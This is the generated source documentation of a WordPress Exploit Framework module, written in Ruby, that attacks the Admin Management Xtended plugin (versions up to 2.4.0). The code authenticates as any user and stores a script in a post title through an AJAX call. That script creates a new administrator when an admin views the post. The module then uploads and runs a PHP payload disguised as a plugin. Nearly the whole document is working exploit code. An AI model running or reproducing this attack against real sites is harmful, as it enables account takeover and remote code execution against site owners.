class Wpxf::Exploit::AdminManagementXtendedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::Xss::new
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 10
def initialize
  super

  update_info(
    name: 'Admin Management Xtended XSS Shell Upload',
    desc: 'This module exploits a lack of user level validation in versions '\
          '<= 2.4.0 of the Admin Management Xtended plugin which '\
          'allows authenticated users of any level to update the title of '\
          'any post, which allows the module to store a script that will '\
          'create a new admin user and use the new credentials to '\
          'upload and execute a payload when an admin views the page.',
    author: [
      'Kacper Szurek', # Vulnerability discovery
      'rastating'      # WPXF module
    ],
    references: [
      ['URL', 'http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html'],
      ['WPVDB', '8354']
    ],
    date: 'Oct 27 2015'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The WordPress username to authenticate with',
      required: true
    ),
    StringOption.new(
      name: 'password',
      desc: 'The WordPress password to authenticate with',
      required: true
    ),
    IntegerOption.new(
      name: 'post_id',
      desc: 'The post ID of the post to change the title of',
      required: false
    ),
    StringOption.new(
      name: 'permalink',
      desc: 'The permalink to the post to change the title of',
      required: false
    ),
    StringOption.new(
      name: 'post_title',
      desc: 'The new title to use for the post',
      required: true
    )
  ])
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 61
def check
  check_plugin_version_from_readme('admin-management-xtended', '2.4.0.1')
end
on_http_request(path, params, headers) click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 132
def on_http_request(path, params, headers)
  if params['u'] && params['p']
    emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
    stop_http_server

    emit_info 'Removing script from post title...'
    update_post_title(@cookie, @post_id, datastore['post_title'])

    # Set this for #run to pick up to determine success state
    @success = upload_shell(params['u'], params['p'])

    return ''
  else
    emit_info 'Incoming request received, serving JavaScript...'
    return wordpress_js_create_user
  end
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 78
def run
  return false unless super

  @cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
  return false unless @cookie

  if datastore['post_id'].nil? && datastore['permalink'].nil?
    emit_error 'Either the post_id or permalink option must be set'
    return false
  end

  @post_id = 0
  if !datastore['post_id'].nil? && !datastore['permalink'].nil?
    emit_warning 'Both post_id and permalink options were specified'
    emit_warning 'Ignoring permalink and using post_id'
    @post_id = normalized_option_value('post_id')
  elsif datastore['permalink'].nil?
    @post_id = normalized_option_value('post_id')
  else
    emit_info 'Extracting post ID from permalink...'
    @post_id = get_post_id_from_permalink(datastore['permalink'])
    if @post_id.nil?
      emit_error 'Failed to extract the post ID'
      return false
    end
  end

  # Success will determined in another procedure, so initialize to false.
  @success = false

  emit_info 'Storing script...'
  emit_info xss_include_script, true
  res = update_post_title(
    @cookie,
    @post_id,
    "#{datastore['post_title']}<script>#{xss_include_script}</script>"
  )

  if res.nil?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  emit_success "Script stored and will be executed when a user views the post"
  start_http_server

  return @success
end
update_post_title(cookie, post_id, title) click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 65
def update_post_title(cookie, post_id, title)
  execute_post_request(
    url: wordpress_url_admin_ajax,
    params: { 'action' => 'ame_save_title' },
    body: {
      'category_id' => post_id.to_s,
      'new_title' => title,
      'submit' => 'Change'
    },
    cookie: cookie
  )
end
upload_shell(username, password) click to toggle source
# File lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb, line 150
def upload_shell(username, password)
  cookie = authenticate_with_wordpress(username, password)
  return false unless cookie

  emit_info 'Uploading payload...'
  plugin_name = Utility::Text.rand_alpha(10)
  payload_name = Utility::Text.rand_alpha(10)
  unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
    emit_error 'Failed to upload the payload'
    return false
  end

  payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
  emit_info "Executing the payload at #{payload_url}..."
  res = execute_get_request(url: payload_url)

  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  true
end